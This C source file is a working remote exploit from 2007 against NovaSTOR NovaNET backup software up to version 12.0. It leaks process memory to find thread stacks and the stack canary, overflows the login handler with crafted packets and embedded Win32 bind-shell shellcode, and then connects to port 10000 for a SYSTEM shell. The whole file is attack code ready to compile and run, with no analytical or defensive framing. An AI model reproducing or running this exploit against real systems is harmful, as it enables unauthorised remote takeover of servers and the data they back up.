/* novanet-own.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * NovaSTOR NovaNET <= 12.0 remote SYSTEM exploit
 * by mu-b - Tue Sep 25 2007
 *
 * - Tested on: NovaSTOR NovaNET 11.0
 *
 * A remote buffer overflow in the login protocol allows arbitrary
 * code execution as SYSTEM, however, the vulnerable function is
 * contained in a DLL (nnwindtb.dll) compiled with /gs.
 *
 * Thus we exploit another vulnerability to remotely read arbitrary
 * memory and retrieve the stack canary from nnwindtb.dll @ 0x016A6784.
 *
 * Note: this was silently fixed in NovaBACKUP NETWORK 13.0
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>

#define HAS_NULL(a)           (((a) - 0x01010101) & ~(a) & 0x80808080)
#define CANARY_VAL(a,b)       (a ^ b)

/* offset defines           */
#define NTDLL_ESP             0x7C86A01B

/* thread info defines      */
#define NOVANET_THREAD_NAME   "Sup: Work to Do"

#define NOVANET_TEB_BLKS      2
static struct {
  void *teb_start;
  int teb_num;
} teb_addrs[2] = { { (void *) 0x7FFDF000, 11 },
                   { (void *) 0x7FFB0000, 5  } };

#define WIN32_TEB_SZ          0x1000

/* packet structure defines */
#define NOVANET_HDR_SZ        0x14
#define NOVANET_PKT_SZ        0x92
#define NOVANET_DOMAIN_SZ     0x1F
#define NOVANET_BUF_SZ        0x400

/* memory read defines      */
#define NOVANET_READ_SZ       sizeof (void *)
#define NOVANET_INT_IDX       32
#define NOVANET_OFFSET        0x100EC480
#define NOVANET_CALC_INT(a)   (((int) (a)-NOVANET_OFFSET-16)/sizeof (int))
#define NOVANET_SET_INT(a,b)  *((unsigned int *) &a[NOVANET_INT_IDX]) = b;

#define PORT_SHELL            10000
#define NOVANET_TCP_PORT      3817
#define USLEEP_TIME           100000

static char getdomain_buf[] =
  "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00"
  "\xff\xff\xff\xff\x08\x40\x80\x00\x16\xaa\x11\x02\x4c\x84\xf4\x01"
  "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00" "digit-labs!$"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00" "Sup: Get Domain Address"
  "\x00\x00\xff\xff\x00\x00\x06\x10";

static char ack_buf[] =
  "\x51\x84\x00\x00\x00\x00\x00\x30"
  "\x05\x00\x00\x00"
  "\x18\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00"
  "\x01\x00\x00\x00";

static char hup_buf[] =
  "\x56\x84\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x14\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00";

static char login_buf[] =
  "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00"
  "\xff\xff\xff\xff\x09\x20\x80\x00\xcb\x14\x4C\x02\x41\xda\x2e\x02"
  "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
  "\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
  "\x69\x69\x69" "Dtb: Context"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\xff\xff\x00\x00\x06\x10";

static char rem_buf[] =
  "\x51\x84\x00\x00\x02\x02\x02\x32"
  "\x18\x00\x00\x00"
  "\x00\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00";

static char win32_x86_bind[] =
  "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e"
  "\x2b\xb7\x2a\x83\xeb\xfc\xe2\xf4\x72\x41\x5c\x67\x66\xd2\x48\xd5"
  "\x71\x4b\x3c\x46\xaa\x0f\x3c\x6f\xb2\xa0\xcb\x2f\xf6\x2a\x58\xa1"
  "\xc1\x33\x3c\x75\xae\x2a\x5c\x63\x05\x1f\x3c\x2b\x60\x1a\x77\xb3"
  "\x22\xaf\x77\x5e\x89\xea\x7d\x27\x8f\xe9\x5c\xde\xb5\x7f\x93\x02"
  "\xfb\xce\x3c\x75\xaa\x2a\x5c\x4c\x05\x27\xfc\xa1\xd1\x37\xb6\xc1"
  "\x8d\x07\x3c\xa3\xe2\x0f\xab\x4b\x4d\x1a\x6c\x4e\x05\x68\x87\xa1"
  "\xce\x27\x3c\x5a\x92\x86\x3c\x6a\x86\x75\xdf\xa4\xc0\x25\x5b\x7a"
  "\x71\xfd\xd1\x79\xe8\x43\x84\x18\xe6\x5c\xc4\x18\xd1\x7f\x48\xfa"
  "\xe6\xe0\x5a\xd6\xb5\x7b\x48\xfc\xd1\xa2\x52\x4c\x0f\xc6\xbf\x28"
  "\xdb\x41\xb5\xd5\x5e\x43\x6e\x23\x7b\x86\xe0\xd5\x58\x78\xe4\x79"
  "\xdd\x78\xf4\x79\xcd\x78\x48\xfa\xe8\x43\x90\x3a\xe8\x78\x3e\xcb"
  "\x1b\x43\x13\x30\xfe\xec\xe0\xd5\x58\x41\xa7\x7b\xdb\xd4\x67\x42"
  "\x2a\x86\x99\xc3\xd9\xd4\x61\x79\xdb\xd4\x67\x42\x6b\x62\x31\x63"
  "\xd9\xd4\x61\x7a\xda\x7f\xe2\xd5\x5e\xb8\xdf\xcd\xf7\xed\xce\x7d"
  "\x71\xfd\xe2\xd5\x5e\x4d\xdd\x4e\xe8\x43\xd4\x47\x07\xce\xdd\x7a"
  "\xd7\x02\x7b\xa3\x69\x41\xf3\xa3\x6c\x1a\x77\xd9\x24\xd5\xf5\x07"
  "\x70\x69\x9b\xb9\x03\x51\x8f\x81\x25\x80\xdf\x58\x70\x98\xa1\xd5"
  "\xfb\x6f\x48\xfc\xd5\x7c\xe5\x7b\xdf\x7a\xdd\x2b\xdf\x7a\xe2\x7b"
  "\x71\xfb\xdf\x87\x57\x2e\x79\x79\x71\xfd\xdd\xd5\x71\x1c\x48\xfa"
  "\x05\x7c\x4b\xa9\x4a\x4f\x48\xfc\xdc\xd4\x67\x42\x61\xe5\x57\x4a"
  "\xdd\xd4\x61\xd5\x5e\x2b\xb7\x2a";

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      fprintf (stderr, "sock_send: send() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sock_recv (int fd, char *dst, int len)
{
  int n;
  if ((n = recv (fd, dst, len, 0)) < 0)
    {
      fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static void
shellami (int fd)
{
  int n;
  fd_set rset;
  char rbuf[1024];

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fd, &rset);
      FD_SET (STDIN_FILENO, &rset);

      if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
        {
          fprintf (stderr, "shellami: select() - %s\n", strerror (errno));
          exit (EXIT_FAILURE);
        }

      if (FD_ISSET (fd, &rset))
        {
          if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
            {
              fprintf (stderr, "shellami: connection closed by foreign host.\n");
              exit (EXIT_SUCCESS);
            }
          rbuf[n] = '\0';
          printf ("%s", rbuf);
          fflush (stdout);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
            {
              rbuf[n] = '\0';
              sock_send (fd, rbuf, n);
            }
        }
    }
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      fprintf (stderr, "sockami: socket() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      fprintf (stderr, "sockami: connect() - %s\n", strerror (errno));
      return (-1);
    }

  return (fd);
}

static void
novanet_read_pkt_init (char *pkt)
{
  char *ptr = pkt;

  /* add packet header */
  *ptr++ = 0x54;
  *ptr++ = 0x84;

  /* add padding */
  memset (ptr, 0x00, 0x1E);
  ptr   += 0x1E;

  /* add our dodgy-int */
  memset (ptr, 0x69, sizeof (int));
  ptr   += sizeof (int);

  memset (ptr, 0x00, NOVANET_PKT_SZ-(ptr-pkt));
}

static int
novanet_read (char *host, void *start, void *dst)
{
  fd_set r_fds;
  struct timeval tv;
  int fd, n;
  char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ];

  novanet_read_pkt_init (buf);
  start = (void *) NOVANET_CALC_INT (start);

  fd = sockami (host, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_read: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  NOVANET_SET_INT (buf, (unsigned int) start);
  if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      return (0);
    }

  FD_ZERO (&r_fds);
  FD_SET (fd, &r_fds);
  tv.tv_sec = 4;        /* wait 4 seconds */
  tv.tv_usec = 0;

  n = select (fd + 1, &r_fds, NULL, NULL, &tv);
  if (n == -1)
    {
      fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }
  else if (n)
    {
      if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ)
        {
          fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n",
                   n, NOVANET_PKT_SZ);
          return (0);
        }
    }
  else
    {
      fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n");
      exit (EXIT_FAILURE);
    }

  memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *));
  usleep (USLEEP_TIME);
  close (fd);

  return (1);
}

static void
novanet_read_str (char *host, void *start, char *dst, int dst_len)
{
  char r_val[NOVANET_READ_SZ], *ptr;
  void *r_addr;
  int nbytes;

  nbytes = 0;
  ptr = dst;
  r_addr = start;

  do
    {
      if (novanet_read (host, r_addr, &r_val) == 0)
        break;

      strncpy (ptr, r_val, 4);
      if (HAS_NULL (*(int *) r_val))
        break;

      ptr    += 4;
      r_addr += 4;
      nbytes += 4;
    }
  while (nbytes < dst_len - 5);
}

static int 
novanet_map_process (char *host, int *esp_val)
{
  void *r_addr, *teb_addr, *thr_list, *arg_addr;
  int i, j, num_threads, thr_count;
  char r_buf[NOVANET_BUF_SZ];

  r_addr = (void *) 0x10133C60 + 0x12510;
  if (novanet_read (host, r_addr, &thr_count) == 0)
    return (-1);

  printf ("** [nnwinsup.dll @ 0x10133C60+0x12510] thread list used: 0x%08X\n",
          thr_count);

  num_threads = 0;
  r_addr = (void *) 0x10133C60 + 0xB938;
  if (novanet_read (host, r_addr, &thr_list) == 0)
    return (-1);

  printf ("*** [nnwinsup.dll @ 0x10133C60+0x0B938] head ptr: 0x%08X\n", (int) thr_list);

  arg_addr = NULL;
  while ((r_addr = thr_list))
    {
      if (novanet_read (host, r_addr, &thr_list) == 0)
        return (-1);

      novanet_read_str (host, r_addr + 0xE8, r_buf, sizeof r_buf);

      printf ("*** [nnwinsup.dll @ 0x%08X] next ptr: 0x%08X, name: \"%s\"\n",
              (int) r_addr, (int) thr_list, r_buf);

      if (strcmp (r_buf, NOVANET_THREAD_NAME) == 0)
        arg_addr = r_addr;

      if (thr_list != NULL)
        num_threads++;
    }

  printf ("** [nnwinsup.dll @ 0x10133C60+0x0B938] thread count: %d\n", num_threads);

  if (arg_addr == NULL)
    return (-1);

  for (i = 0; i < NOVANET_TEB_BLKS; i++)
    {
      teb_addr = teb_addrs[i].teb_start - WIN32_TEB_SZ;
      printf ("** [TEB BLK @ 0x%08X] scanning %d blocks\n", (int) teb_addr, teb_addrs[i].teb_num);

      for (j = 0; j < teb_addrs[i].teb_num; j++, teb_addr -= WIN32_TEB_SZ)
        {
          int st_addr, sb_addr, thr_id;
          void *thr_arg;

          r_addr = teb_addr + 0x04;
          if (novanet_read (host, r_addr, &st_addr) == 0)
            break;

          r_addr = teb_addr + 0x08;
          if (novanet_read (host, r_addr, &sb_addr) == 0)
            break;

          r_addr = teb_addr + 0x24;
          if (novanet_read (host, r_addr, &thr_id) == 0)
            break;

          if (st_addr != 0xFFFFFFFF)
            {
              r_addr = (void *) st_addr - 0x7C;

              if (novanet_read (host, r_addr, &thr_arg) == 0)
                break;
            }
          else
            thr_arg = (void *) 0xDEADBEEF;

          printf ("** [TEB @ 0x%08X] thread id: %04X, stack base: 0x%08X, top: 0x%08X, arg: 0x%08X\n",
                  (int) teb_addr, thr_id, sb_addr, st_addr, (int) thr_arg);

          if (thr_arg == arg_addr)
            {
              printf ("** [TEB @ 0x%08X] found thread id: %04X, stack top: 0x%08X, ESP: 0x%08X\n",
                      (int) teb_addr, thr_id, st_addr, st_addr - 0x444);
              *esp_val = st_addr - 0x444;

              return  (0);
            }
        }
    }

  return (-1);
}

static void
novanet_get_domain (char *thost, char *d_name)
{
  char rbuf_hdr[NOVANET_HDR_SZ], rbuf_pkt[NOVANET_PKT_SZ], *pkt_ptr;
  int fd, n, rlen;

  fd = sockami (thost, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_get_domain: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT);

  printf ("** sending getdomain_buf packet...");
  if ((n = sock_send (fd, getdomain_buf, sizeof getdomain_buf - 1)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading first reply...");
  if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  memcpy (d_name, &rbuf_pkt[0x54], NOVANET_DOMAIN_SZ);
  printf ("** remote domain address: %.*s\n", NOVANET_DOMAIN_SZ, d_name);

  printf ("** sending ack packet...");
  if ((n = sock_send (fd, ack_buf, sizeof ack_buf - 1)) != NOVANET_HDR_SZ + 4)
    {
      fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ + 4);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading second reply...");
  if ((n = sock_recv (fd, rbuf_hdr, sizeof rbuf_hdr)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  rlen  = *(unsigned int *) &rbuf_hdr[12];
  if (rlen < NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_get_domain: remaining length invalid (<%d)\n",
               NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }

  rlen -= NOVANET_HDR_SZ;
  printf ("** reading %d-remaining bytes...", rlen);
  pkt_ptr = malloc (rlen * sizeof (char));

  if ((n = sock_recv (fd, pkt_ptr, rlen)) != rlen)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, rlen);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  free (pkt_ptr);

  printf ("** sending hup packet...");
  if ((n = sock_send (fd, hup_buf, sizeof hup_buf - 1)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  usleep (USLEEP_TIME);
  close (fd);
}

static void
novanet_own_process (char *thost, char *d_name, int esp_val)
{
  char rbuf_pkt[NOVANET_PKT_SZ], *ptr;
  int canary_val, fd, n, rlen;

  if (novanet_read (thost, (void *) 0x016A6784, &canary_val) == 0)
    {
      fprintf (stderr, "novanet_own_process: reading canary failed\n");
      exit (EXIT_FAILURE);
    }

  fd = sockami (thost, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_own_process: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("** [nnwindtb.dll @ 0x016A6784] stack canary: 0x%08X\n\n", (int) canary_val);
  if (HAS_NULL (CANARY_VAL(canary_val, esp_val)))
    {
      fprintf (stderr, "novanet_own_process: canary value invalid :(\n");
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT);

  memcpy (&login_buf[0x54], d_name, NOVANET_DOMAIN_SZ);

  printf ("** sending login packet...");
  if ((n = sock_send (fd, login_buf, sizeof login_buf - 1)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading fourth packet...");
  if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_recv returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  rlen = 0x10C + 64 + (sizeof win32_x86_bind - 1) + 1;
  *(unsigned int *) &rem_buf[12] = rlen + NOVANET_HDR_SZ;

  printf ("** sending remaining %d-bytes packet...", rlen);
  if ((n = sock_send (fd, rem_buf, sizeof rem_buf - 1)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** sending hammer packet...");

  ptr = malloc (rlen * sizeof (char));
  memset (ptr, 0x41, rlen);
  *(unsigned int *) &ptr[0x104] = CANARY_VAL(canary_val, esp_val);
  *(unsigned int *) &ptr[0x108] = NTDLL_ESP;
  memcpy (&ptr[0x10C + 64], win32_x86_bind, sizeof win32_x86_bind - 1);
  ptr[rlen - 1] = '\0';

  if ((n = sock_send (fd, ptr, rlen)) != rlen)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, rlen);
      exit (EXIT_FAILURE);
    }

  free (ptr);
  printf ("done\n\n");

  usleep (USLEEP_TIME);
  close (fd);

  printf ("* waiting for the shellcode to be executed...\n");
  sleep (2);
 
  if ((fd = sockami (thost, PORT_SHELL)) != -1)
    {
      printf ("+Wh00t!\n\n");
      shellami (fd);
    }
}

int
main (int argc, char **argv)
{
  char d_name[NOVANET_DOMAIN_SZ];
  int esp_val;

  printf ("NovaSTOR NovaNET <= 12.0 remote SYSTEM exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  esp_val = 0xdeadbeef;

  printf ("* mapping remote process...\n");
  if (novanet_map_process (argv[1], &esp_val) < 0)
    {
      fprintf (stderr, "novanet_map_process: unable to locate thread :(\n");
      exit (EXIT_SUCCESS);
    }
  printf ("* done\n\n");

  novanet_get_domain (argv[1], d_name);
  novanet_own_process (argv[1], d_name, esp_val);

  return (EXIT_SUCCESS);
}